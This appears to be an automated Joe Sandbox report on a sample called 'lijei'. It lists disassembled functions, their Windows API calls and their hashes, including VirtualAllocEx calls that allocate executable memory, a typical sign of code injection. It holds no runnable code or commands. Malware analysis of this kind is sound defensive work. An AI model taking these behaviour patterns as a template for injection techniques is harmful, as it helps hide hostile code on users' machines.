                                                              • Opcode Fuzzy Hash: 64d9eb8b2f7d351b5cfa57a64e114380b3dc61cdcbe615f654f72eab0471deac
                                                              • Instruction Fuzzy Hash: 921184313843817BE229B7B9CC46F5E3762AF92714F24068C76616F1E1DDF1B411E619
                                                              Function 008FE6E1 Relevance: 3.5, APIs: 1, Strings: 1, Instructions: 11COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • GetComputerNameW.KERNEL32(?,?), ref: 008FE6F3
                                                              Strings
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ComputerName
                                                              • String ID: X64
                                                              • API String ID: 3545744682-893830106
                                                              • Opcode ID: c3c32f2a7979c9864e92a0d3e0a3a14a97a8e30f7807b824d050797e373694d0
                                                              • Instruction ID: c453666286dd4ebfaa9d17db6b819174d845fa7292499c23de39e95a95d55618
                                                              • Opcode Fuzzy Hash: c3c32f2a7979c9864e92a0d3e0a3a14a97a8e30f7807b824d050797e373694d0
                                                              • Instruction Fuzzy Hash: BDD0C9B481521CEACF90CF90DC88DED73BCFB24308F100555F102E2110D73869489F60
                                                              Function 009195F6 Relevance: 3.1, APIs: 2, Instructions: 62COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008A5558,?,?,008E4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 008A559E
                                                              • WritePrivateProfileStringW.KERNEL32(?,?,?,?), ref: 00919665
                                                              • WritePrivateProfileStringW.KERNEL32(00000000,00000000,00000000,?), ref: 00919673
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: PrivateProfileStringWrite$FullNamePath
                                                              • String ID:
                                                              • API String ID: 3876400906-0
                                                              • Opcode ID: 223baac225fbe9941625a4cf1d733f5480039d3f47e488b9c98a8d581f7e4d48
                                                              • Instruction ID: 47a957a1a7abbb2f14e5cd4b1984a42de3174ca4e711acf65b0c7e62f1050b97
                                                              • Opcode Fuzzy Hash: 223baac225fbe9941625a4cf1d733f5480039d3f47e488b9c98a8d581f7e4d48
                                                              • Instruction Fuzzy Hash: BD114939A00629DFDB00EB68C850D6EB7B5FF49360B058844E856AB762CB34FC51CBA1
                                                              Function 008A6E52 Relevance: 3.1, APIs: 2, Instructions: 56fileCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • CreateFileW.KERNELBASE(?,80000000,00000007,00000000,00000003,00000080,00000000,?,?,?,008A3B33,?,00008000), ref: 008A6E80
                                                              • CreateFileW.KERNEL32(?,C0000000,00000007,00000000,00000004,00000080,00000000,?,?,?,008A3B33,?,00008000), ref: 008E59A2
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: CreateFile
                                                              • String ID:
                                                              • API String ID: 823142352-0
                                                              • Opcode ID: 712db8e0e5b7aea46eff57ca5e25d03ad7c3a998322ff70979fb284b86775064
                                                              • Instruction ID: 0954b2ceac645475c8c20034f5dda2e5184c208b4344e20f1d28bfbdd10f3c53
                                                              • Opcode Fuzzy Hash: 712db8e0e5b7aea46eff57ca5e25d03ad7c3a998322ff70979fb284b86775064
                                                              • Instruction Fuzzy Hash: AC01B531145265B6E3301A2ADC0EF977F98FF03774F248310BE98AA1E0C7B45865DB90
                                                              Function 008A32A2 Relevance: 3.0, APIs: 2, Instructions: 30COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • IsThemeActive.UXTHEME ref: 008A32C4
                                                                • Part of subcall function 008A326D: SystemParametersInfoW.USER32(00002000,00000000,?,00000000), ref: 008A3282
                                                                • Part of subcall function 008A326D: SystemParametersInfoW.USER32(00002001,00000000,00000000,00000002), ref: 008A3299
                                                                • Part of subcall function 008A3312: GetCurrentDirectoryW.KERNEL32(00007FFF,?,?,?,?,?,008A32EF,?), ref: 008A3342
                                                                • Part of subcall function 008A3312: IsDebuggerPresent.KERNEL32(?,?,?,?,?,?,008A32EF,?), ref: 008A3355
                                                                • Part of subcall function 008A3312: GetFullPathNameW.KERNEL32(00007FFF,?,?,00972418,00972400,?,?,?,?,?,?,008A32EF,?), ref: 008A33C1
                                                                • Part of subcall function 008A3312: SetCurrentDirectoryW.KERNELBASE(?,00000001,00972418,?,?,?,?,?,?,?,008A32EF,?), ref: 008A3442
                                                              • SystemParametersInfoW.USER32(00002001,00000000,00000002,?), ref: 008A32FE
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: InfoParametersSystem$CurrentDirectory$ActiveDebuggerFullNamePathPresentTheme
                                                              • String ID:
                                                              • API String ID: 1550534281-0
                                                              • Opcode ID: 8cde333a0c0fcda291135af6fbd228c3e7671a7bc37eca4837f2ba8df28a5b3e
                                                              • Instruction ID: 9163eb120a6d29d81d779a9c139b751265435865c42e18999cb1d01ea0debed6
                                                              • Opcode Fuzzy Hash: 8cde333a0c0fcda291135af6fbd228c3e7671a7bc37eca4837f2ba8df28a5b3e
                                                              • Instruction Fuzzy Hash: 2DF03A7257C3449FEB00AFB4FC0AB643BA0F705B09F104809B10DC95E2DBBA9591AB11
                                                              Function 008BF95E Relevance: 3.0, APIs: 2, Instructions: 29sleeptimeCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • timeGetTime.WINMM ref: 008BF97A
                                                                • Part of subcall function 008AEE0B: GetInputState.USER32 ref: 008AEEB7
                                                              • Sleep.KERNEL32(00000000), ref: 008FFAC2
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: InputSleepStateTimetime
                                                              • String ID:
                                                              • API String ID: 4149333218-0
                                                              • Opcode ID: 955daecc6ec51178386d6486d945f28d76b1450ab1d87a7bda33098beb04c2c9
                                                              • Instruction ID: ecf1940b441a8ab8d7d39b08bf74a5fb4604ea3ffbac83c118b473c7ecc427e1
                                                              • Opcode Fuzzy Hash: 955daecc6ec51178386d6486d945f28d76b1450ab1d87a7bda33098beb04c2c9
                                                              • Instruction Fuzzy Hash: 95F08C712446059FD314EB79D819B6ABBE9FF49360F00442AE95ECB761DB70A810CB92
                                                              Function 008C94D1 Relevance: 3.0, APIs: 2, Instructions: 23COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008D506A: DeleteCriticalSection.KERNEL32(?,?,?,?,?,00969C08,00000010,008C94DE), ref: 008D50CC
                                                                • Part of subcall function 008D506A: _free.LIBCMT ref: 008D50DA
                                                                • Part of subcall function 008D510A: _free.LIBCMT ref: 008D512C
                                                              • DeleteCriticalSection.KERNEL32(-00000020), ref: 008C94FA
                                                              • _free.LIBCMT ref: 008C950E
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: _free$CriticalDeleteSection
                                                              • String ID:
                                                              • API String ID: 1906768660-0
                                                              • Opcode ID: 9555c879c1cdaddb072a7235f12e90cf2a2df43b7c7b3bc04c65dba881507ee6
                                                              • Instruction ID: 83bc0ef2134c89091a760f3d1f597237faba09ee765f6b0f32b19d71d7e7b2be
                                                              • Opcode Fuzzy Hash: 9555c879c1cdaddb072a7235f12e90cf2a2df43b7c7b3bc04c65dba881507ee6
                                                              • Instruction Fuzzy Hash: 28E04F338289108BDB21B76CFC56E5973B4FB8A354B15051BF409D3225DB35AC92AA8A
                                                              Function 008A8774 Relevance: 2.6, APIs: 2, Instructions: 59COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,00000000,00000002,00000001,?,?,?,008AAE65,?,?,?), ref: 008A8793
                                                              • MultiByteToWideChar.KERNEL32(0000FDE9,00000000,?,?,00000000,?,?,?,008AAE65,?,?,?), ref: 008A87C9
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ByteCharMultiWide
                                                              • String ID:
                                                              • API String ID: 626452242-0
                                                              • Opcode ID: cc37530fbff9eb277287bf5b8d04f0dcefd4c8f182a3a615803e0394b69b7495
                                                              • Instruction ID: 5012c1bc5613f5d8fe8a345e859ffa13af1eda977cd721940a3ad9a2df307167
                                                              • Opcode Fuzzy Hash: cc37530fbff9eb277287bf5b8d04f0dcefd4c8f182a3a615803e0394b69b7495
                                                              • Instruction Fuzzy Hash: 9301D471305104BFFB186BA99C4BF7F7AADEB85350F14002EB102DA191EDA09D009535
                                                              Function 008ACA50 Relevance: 2.1, APIs: 1, Instructions: 587COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • __Init_thread_footer.LIBCMT ref: 008ACE8E
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Init_thread_footer
                                                              • String ID:
                                                              • API String ID: 1385522511-0
                                                              • Opcode ID: d5c850db5a6168259586a3545257f6d338877fc1912a76c84c7d782cab7ceb1c
                                                              • Instruction ID: 2e8a98dd160b59ca341ce6c3918c348636151c0b8b9981bc11f1c7e1012f2775
                                                              • Opcode Fuzzy Hash: d5c850db5a6168259586a3545257f6d338877fc1912a76c84c7d782cab7ceb1c
                                                              • Instruction Fuzzy Hash: B532CC75A04209DFEF20CF28C889ABAB7B5FF45314F148059EA0AEB651C774ED81DB91
                                                              Function 008AB4B0 Relevance: 1.9, APIs: 1, Instructions: 432COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 11fd0fa9ae2cbe4372954a67c073551157f99cfc4bdd2092a0924e0b12ad4f85
                                                              • Instruction ID: b798433246dfb1b81cb7a8f682db0d72f05f92546f3a7fdff18307c5a4893851
                                                              • Opcode Fuzzy Hash: 11fd0fa9ae2cbe4372954a67c073551157f99cfc4bdd2092a0924e0b12ad4f85
                                                              • Instruction Fuzzy Hash: 23F1C071D0021D9BEF14EFA8C890AFEB7B5FF46310F54412AE912E7A92EB349941CB51
                                                              Function 008CF126 Relevance: 1.7, APIs: 1, Instructions: 151COMMON
                                                              Download Yara Rule
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID:
                                                              • String ID:
                                                              • API String ID:
                                                              • Opcode ID: 02c28d7bca9d1858dd3ec69fcbbf40b924b2d64856c6c829ffa80735921a789b
                                                              • Instruction ID: 46e82078cd37534d282751e246eec6e2df3e8f94c82db7a2677854a8dd831617
                                                              • Opcode Fuzzy Hash: 02c28d7bca9d1858dd3ec69fcbbf40b924b2d64856c6c829ffa80735921a789b
                                                              • Instruction Fuzzy Hash: 6651B375A00108AFEB10DF68C841FA97BB2FB85364F19816DE909DB392C771DD42CB90
                                                              Function 008C0000 Relevance: 1.6, APIs: 1, Instructions: 94COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • TerminateProcess.KERNELBASE ref: 008C00AF
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: ProcessTerminate
                                                              • String ID:
                                                              • API String ID: 560597551-0
                                                              • Opcode ID: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                              • Instruction ID: 74c2451071453a85e3d1e10a32e139dbe12fc07efd63db8aafec17b9d567a217
                                                              • Opcode Fuzzy Hash: 160be14eaa7db79452b6aeb530136e2f2731e3e0b6e758b09a27e7bca35b483d
                                                              • Instruction Fuzzy Hash: B531E370A00909DBC718CF58C480B69F7B6FB49384B2586A9E40ACB256D732EDC1CF90
                                                              Function 00918E39 Relevance: 1.6, APIs: 1, Instructions: 67COMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A557E: GetFullPathNameW.KERNEL32(?,00007FFF,?,00000000,?,?,008A5558,?,?,008E4B50,?,?,00000100,00000000,00000000,CMDLINE), ref: 008A559E
                                                              • GetPrivateProfileStringW.KERNEL32(?,?,?,?,0000FFFF,?), ref: 00918EBE
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: FullNamePathPrivateProfileString
                                                              • String ID:
                                                              • API String ID: 1991638491-0
                                                              • Opcode ID: d51aee40a9c108854f1d36a74212f3ec40dd908866b811d6f007f5d57e5ce677
                                                              • Instruction ID: ffb7e6cce6cdf5787b9a7495f796d2832e211f801f3dd153128916b6ec682e64
                                                              • Opcode Fuzzy Hash: d51aee40a9c108854f1d36a74212f3ec40dd908866b811d6f007f5d57e5ce677
                                                              • Instruction Fuzzy Hash: 99214D35A00605EFDB00EB68C942DAEBBB5FF49360B044054F945AB7A2DB30FD91CB91
                                                              Function 008A636D Relevance: 1.6, APIs: 1, Instructions: 65libraryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                                • Part of subcall function 008A6332: LoadLibraryA.KERNEL32(kernel32.dll,?,?,008A637F,?,?,008A60AA,?,00000001,?,?,00000000), ref: 008A633E
                                                                • Part of subcall function 008A6332: GetProcAddress.KERNEL32(00000000,Wow64DisableWow64FsRedirection), ref: 008A6350
                                                                • Part of subcall function 008A6332: FreeLibrary.KERNEL32(00000000,?,?,008A637F,?,?,008A60AA,?,00000001,?,?,00000000), ref: 008A6362
                                                              • LoadLibraryExW.KERNEL32(?,00000000,00000002,?,?,008A60AA,?,00000001,?,?,00000000), ref: 008A639F
                                                                • Part of subcall function 008A62FB: LoadLibraryA.KERNEL32(kernel32.dll,?,?,008E54C3,?,?,008A60AA,?,00000001,?,?,00000000), ref: 008A6304
                                                                • Part of subcall function 008A62FB: GetProcAddress.KERNEL32(00000000,Wow64RevertWow64FsRedirection), ref: 008A6316
                                                                • Part of subcall function 008A62FB: FreeLibrary.KERNEL32(00000000,?,?,008E54C3,?,?,008A60AA,?,00000001,?,?,00000000), ref: 008A6329
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: Library$Load$AddressFreeProc
                                                              • String ID:
                                                              • API String ID: 2632591731-0
                                                              • Opcode ID: 1861fb06bfd54679c147b7d0a0359f5e521c1b340480572479cd0cca03bd4080
                                                              • Instruction ID: 1273e92c342c552e6bb963a14657145bf304979122bd164e67280e9a19c71716
                                                              • Opcode Fuzzy Hash: 1861fb06bfd54679c147b7d0a0359f5e521c1b340480572479cd0cca03bd4080
                                                              • Instruction Fuzzy Hash: 6B113A71600205ABEF14FB38CC02BAD77A1FF52715F14882DF482E65C9FEB09A669B51
                                                              Function 008D8792 Relevance: 1.6, APIs: 1, Instructions: 54COMMON
                                                              Download Yara Rule
                                                              APIs
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000002.2383961054.00000000008A1000.00000020.00000001.01000000.0000000A.sdmp, Offset: 008A0000, based on PE: true
                                                              • Associated: 00000008.00000002.2383940517.00000000008A0000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.000000000093D000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384045186.0000000000963000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384118393.000000000096D000.00000004.00000001.01000000.0000000A.sdmpDownload File
                                                              • Associated: 00000008.00000002.2384156438.0000000000975000.00000002.00000001.01000000.0000000A.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_2_8a0000_lijei.jbxd
                                                              Similarity
                                                              • API ID: __wsopen_s
                                                              • String ID:
                                                              • API String ID: 3347428461-0
                                                              • Opcode ID: be18743636b6b185d48266a43dbddc4dffac334c9400cc4e3904e9ea2e25c635
                                                              • Instruction ID: 9b6acb67e7ae21523509915363a363fb9464b0329f8a5ac278d401c16c4a250a
                                                              • Opcode Fuzzy Hash: be18743636b6b185d48266a43dbddc4dffac334c9400cc4e3904e9ea2e25c635
                                                              • Instruction Fuzzy Hash: 7911187590410AEFCB16DF58E94199E7BF5FF48310F10416AF809EB311DA31EA218BA5
                                                              Function 01600D5A Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040,0000002E,00000022,00000005), ref: 01600D91
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 0156F000, based on PE: false
                                                              • Associated: 00000008.00000003.2358205298.000000000156F000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: AllocVirtual
                                                              • String ID:
                                                              • API String ID: 4275171209-0
                                                              • Opcode ID: 17c1490cff7c9d4bc4d9aa568713945c93db292a72dacba174e9bebcbfa6919d
                                                              • Instruction ID: d66256043e7bdcaea225469831cd45abc1209a63089490ed4a6cbb1764c7a21d
                                                              • Opcode Fuzzy Hash: 17c1490cff7c9d4bc4d9aa568713945c93db292a72dacba174e9bebcbfa6919d
                                                              • Instruction Fuzzy Hash: 7C118E302847817BE21B6BB5CC06F1F3B26AF56784F10809DBA424F5E2D6F29505EB55
                                                              Function 01600D5A Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040,0000002E,00000022), ref: 01600D91
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015FE000, based on PE: false
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: AllocVirtual
                                                              • String ID:
                                                              • API String ID: 4275171209-0
                                                              • Opcode ID: e7770758809b78ffc42b10f354673b5546b8b13dc6be9d1bd022b8ecd0af7c82
                                                              • Instruction ID: d66256043e7bdcaea225469831cd45abc1209a63089490ed4a6cbb1764c7a21d
                                                              • Opcode Fuzzy Hash: e7770758809b78ffc42b10f354673b5546b8b13dc6be9d1bd022b8ecd0af7c82
                                                              • Instruction Fuzzy Hash: 7C118E302847817BE21B6BB5CC06F1F3B26AF56784F10809DBA424F5E2D6F29505EB55
                                                              Function 01600D5A Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040,0000002E,00000022,00000005), ref: 01600D91
                                                              Memory Dump Source
                                                              • Source File: 00000008.00000003.2359226380.00000000015FE000.00000004.00000020.00020000.00000000.sdmp, Offset: 015B5000, based on PE: false
                                                              • Associated: 00000008.00000003.2358205298.000000000156F000.00000004.00000020.00020000.00000000.sdmpDownload File
                                                              Joe Sandbox IDA Plugin
                                                              • Snapshot File: hcaresult_8_3_156f000_lijei.jbxd
                                                              Similarity
                                                              • API ID: AllocVirtual
                                                              • String ID:
                                                              • API String ID: 4275171209-0
                                                              • Opcode ID: 17c1490cff7c9d4bc4d9aa568713945c93db292a72dacba174e9bebcbfa6919d
                                                              • Instruction ID: d66256043e7bdcaea225469831cd45abc1209a63089490ed4a6cbb1764c7a21d
                                                              • Opcode Fuzzy Hash: 17c1490cff7c9d4bc4d9aa568713945c93db292a72dacba174e9bebcbfa6919d
                                                              • Instruction Fuzzy Hash: 7C118E302847817BE21B6BB5CC06F1F3B26AF56784F10809DBA424F5E2D6F29505EB55
                                                              Function 01600D5A Relevance: 1.6, APIs: 1, Instructions: 53memoryCOMMON
                                                              Download Yara Rule
                                                              APIs
                                                              • VirtualAllocEx.KERNELBASE(?,?,?,00003000,00000040,0000002E,00000022), ref: 01600D91
